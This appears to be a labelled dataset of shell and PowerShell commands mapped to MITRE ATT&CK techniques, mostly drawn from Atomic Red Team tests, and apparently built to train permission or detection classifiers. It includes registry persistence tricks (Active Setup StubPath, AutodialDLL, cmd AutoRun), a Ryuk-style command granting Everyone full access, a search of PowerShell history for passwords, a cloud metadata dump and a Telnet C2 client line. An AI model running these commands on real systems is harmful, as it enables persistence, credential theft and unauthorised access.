cowWhySo/permission-command-corpus huggingface dataset:
Command: Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.014
Platform: windows
ATT&CK tags: T1547.014
Source rule: HKLM - Add atomic_test key to launch executable as part of user setup
Notes: This test will create an "atomic_test" key under 'HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components' to launch calc by configuring an active setup executable and 
forcing to run active setup using the "runonce.exe /AlternateShellStartup" command. 
Without the "runonce.exe /AlternateShellStartup" command it would run during the next logon for each user.

Note: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup seque
Command: Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "#{payload}" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.014
Platform: windows
ATT&CK tags: T1547.014
Source rule: HKLM - Add malicious StubPath value to existing Active Setup Entry
Notes: This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) 
Said key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. 
Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.
Command: Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.014
Platform: windows
ATT&CK tags: T1547.014
Source rule: HKLM - Add malicious StubPath value to existing Active Setup Entry
Notes: This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) 
Said key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. 
Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.
Command: Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0" & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.014
Platform: windows
ATT&CK tags: T1547.014
Source rule: HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number
Notes: This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, 
which will force the StubPath payload (if set) to execute.
Command: takeown.exe /f #{file_folder_to_own} /r
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: Take ownership using takeown utility
Notes: Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, "SUCCESS" will
be displayed for the folder and each file inside of it.
Command: icacls.exe #{file_or_folder} /grant #{user_or_group}:F
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: cacls - Grant permission to specified user or group recursively
Notes: Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If "Access is denied"
is displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, "Successfully processed 3 files"
will be displayed.
Command: attrib.exe -r #{file_or_folder}\*.* /s
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: attrib - Remove read-only attribute
Notes: Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.
Open the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.
Command: mkdir #{file_or_folder} >nul 2>&1 echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: attrib - hide file
Notes: Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
the victim does not see the file.
Command: del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: attrib - hide file
Notes: Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
the victim does not see the file.
Command: icacls "#{path}" /grant Everyone:F /T /C /Q
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: Grant Full Access to folder for Everyone - Ryuk Ransomware Style
Notes: Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
**icacls "C:\*" /grant Everyone:F /T /C /Q**
However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
You can set your own path variable to "C:\*" if you prefer.
Command: icacls '#{path}' /restore #{file_path} /q >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: Grant Full Access to folder for Everyone - Ryuk Ransomware Style
Notes: Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
**icacls "C:\*" /grant Everyone:F /T /C /Q**
However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
You can set your own path variable to "C:\*" if you prefer.
Command: "C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.001
Platform: windows
ATT&CK tags: T1222.001
Source rule: SubInAcl Execution
Notes: This test simulates an adversary executing the Windows Resource kit utility SubInAcl. This utility was abused by adversaries in the past in order to modify access permissions. Upon execution, a process creation log should be generated indicating successful execution.
Command: $buffer = New-Object byte[] 11 $handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite' $handle.Read($buffer, 0, $buffer.Length) $handle.Close() Format-Hex -InputObject $buffer
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1006
Platform: windows
ATT&CK tags: T1006
Source rule: Read volume boot sector via DOS device path (PowerShell)
Notes: This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.
On success, a hex dump of the first 11 bytes of the volume is displayed.

For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):
`
Command: #{client_path} #{server_ip} --port #{server_port}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1071
Platform: windows
ATT&CK tags: T1071
Source rule: Telnet C2
Notes: An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives.
Command: tasklist.exe /svc sc query sc query state= all
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: windows
ATT&CK tags: T1007
Source rule: System Service Discovery
Notes: Identify system services.

Upon successful execution, cmd.exe will execute service commands with expected result to stdout.
Command: net.exe start >> #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: windows
ATT&CK tags: T1007
Source rule: System Service Discovery - net.exe
Notes: Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.
Command: del /f /q /s #{output_file} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: windows
ATT&CK tags: T1007
Source rule: System Service Discovery - net.exe
Notes: Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.
Command: if [ "$(uname)" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: linux
ATT&CK tags: T1007
Source rule: System Service Discovery - systemctl/service
Notes: Enumerates system service using systemctl/service
Command: powershell.exe Get-Service
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: windows
ATT&CK tags: T1007
Source rule: Get-Service Execution
Notes: Executes the Get-Service cmdlet to gather objects representing all services on the local system.
Command: launchctl list
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: macos
ATT&CK tags: T1007
Source rule: System Service Discovery - macOS launchctl
Notes: Enumerates services on macOS using launchctl. Used by adversaries for
identifying daemons, background services, and persistence mechanisms.
Command: schtasks /query /fo LIST /v
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: windows
ATT&CK tags: T1007
Source rule: System Service Discovery - Windows Scheduled Tasks (schtasks)
Notes: Enumerates scheduled tasks on Windows using schtasks.exe.
Command: Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' | ForEach-Object { $p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue [PSCustomObject]@{ Name = $_.PSChildName DisplayName = $p.DisplayName ImagePath = $p.ImagePath StartType = $p.Start } }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: windows
ATT&CK tags: T1007
Source rule: System Service Discovery - Services Registry Enumeration
Notes: Enumerates Windows services by reading the Services registry key
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
Manager APIs or CLI tools such as sc.exe or Get-Service.
Command: echo "[*] Listing SysV init scripts (/etc/init.d):" if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi echo echo "[*] Listing runlevel directories (/etc/rc*.d):" ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1007
Platform: linux
ATT&CK tags: T1007
Source rule: System Service Discovery - Linux init scripts
Notes: Enumerates system services by listing SysV init scripts and runlevel
symlinks under /etc/init.d and /etc/rc*.d.
Command: remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.005
Platform: azure-ad
ATT&CK tags: T1552.005
Source rule: Azure - Search Azure AD User Attributes for Passwords
Notes: This test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. 
Upon successful execution, this test will scan all user attributes for any strings containing "password".
Those unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. 
See: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatshe
Command: Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.005
Platform: iaas:azure
ATT&CK tags: T1552.005
Source rule: Azure - Dump Azure Instance Metadata from Virtual Machines
Notes: This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. 
See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/
Command: remove-item #{output_file} -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.005
Platform: iaas:azure
ATT&CK tags: T1552.005
Source rule: Azure - Dump Azure Instance Metadata from Virtual Machines
Notes: This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. 
See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/
Command: export AWS_REGION=#{aws_region} cd #{stratus_path} echo "starting warmup" ./stratus warmup aws.credential-access.ec2-get-password-data echo "starting detonate" ./stratus detonate aws.credential-access.ec2-get-password-data --force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552
Platform: linux,macos,iaas:aws
ATT&CK tags: T1552
Source rule: AWS - Retrieve EC2 Password Data using stratus
Notes: This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.clo
Command: export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552
Platform: linux,macos,iaas:aws
ATT&CK tags: T1552
Source rule: AWS - Retrieve EC2 Password Data using stratus
Notes: This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.clo
Command: ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String "password", "-p", "key", "pwd", "pass"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552
Platform: windows
ATT&CK tags: T1552
Source rule: Search for Passwords in Powershell History
Notes: Find passwords in the powershell history files
Searching for following strings: "password", "-p", "key", "pwd", "pass"
Command: docker build -t t1612 $PathtoAtomicsFolder/T1612/src/ docker run --name t1612_container --rm -d -t t1612 docker exec t1612_container ./test.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1612
Platform: containers
ATT&CK tags: T1612
Source rule: Build Image On Host
Notes: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.
Command: docker stop t1612_container docker rmi -f t1612
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1612
Platform: containers
ATT&CK tags: T1612
Source rule: Build Image On Host
Notes: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.
Command: aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description "Atomic Red Team Test Snapshot" --query "SnapshotId" --output text
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1578.001
Platform: iaas:aws
ATT&CK tags: T1578.001
Source rule: AWS - Create Snapshot from EBS Volume
Notes: Creates an EBS snapshot in AWS using the AWS CLI.
This simulates an adversary duplicating volume data via snapshots for persistence or exfiltration.
Command: SNAPSHOT_ID=$(aws ec2 describe-snapshots --region #{aws_region} --filters "Name=volume-id,Values=#{aws_volume_id}" --query "Snapshots[0].SnapshotId" --output text) if [ "$SNAPSHOT_ID" != "None" ]; then aws ec2 delete-snapshot --region #{aws_region} --snapshot-id "$SNAPSHOT_ID" fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1578.001
Platform: iaas:aws
ATT&CK tags: T1578.001
Source rule: AWS - Create Snapshot from EBS Volume
Notes: Creates an EBS snapshot in AWS using the AWS CLI.
This simulates an adversary duplicating volume data via snapshots for persistence or exfiltration.
Command: az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1578.001
Platform: iaas:azure
ATT&CK tags: T1578.001
Source rule: Azure - Create Snapshot from Managed Disk
Notes: Creates a snapshot of a managed disk in Azure using the Azure CLI.
Simulates adversary snapshotting behavior for persistence or data duplication.
Command: az snapshot delete --resource-group #{azure_resource_group} --name #{azure_snapshot_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1578.001
Platform: iaas:azure
ATT&CK tags: T1578.001
Source rule: Azure - Create Snapshot from Managed Disk
Notes: Creates a snapshot of a managed disk in Azure using the Azure CLI.
Simulates adversary snapshotting behavior for persistence or data duplication.
Command: gcloud compute snapshots create #{gcp_snapshot_name} --source-disk=#{gcp_disk_name} --zone=#{gcp_zone}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1578.001
Platform: iaas:gcp
ATT&CK tags: T1578.001
Source rule: GCP - Create Snapshot from Persistent Disk
Notes: Creates a snapshot of a persistent disk in GCP using the gcloud CLI.
Emulates adversary behavior to gain access to volume data or replicate environment state.
Command: gcloud compute snapshots delete #{gcp_snapshot_name} --quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1578.001
Platform: iaas:gcp
ATT&CK tags: T1578.001
Source rule: GCP - Create Snapshot from Persistent Disk
Notes: Creates a snapshot of a persistent disk in GCP using the gcloud CLI.
Emulates adversary behavior to gain access to volume data or replicate environment state.
Command: Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059
Platform: windows
ATT&CK tags: T1059
Source rule: AutoIt Script Execution
Notes: An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence with Custom AutodialDLL
Notes: The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. 

The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.
[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)
Command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence with Custom AutodialDLL
Notes: The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. 

The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.
[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)
Command: New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)
Notes: An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
Command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)
Notes: An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)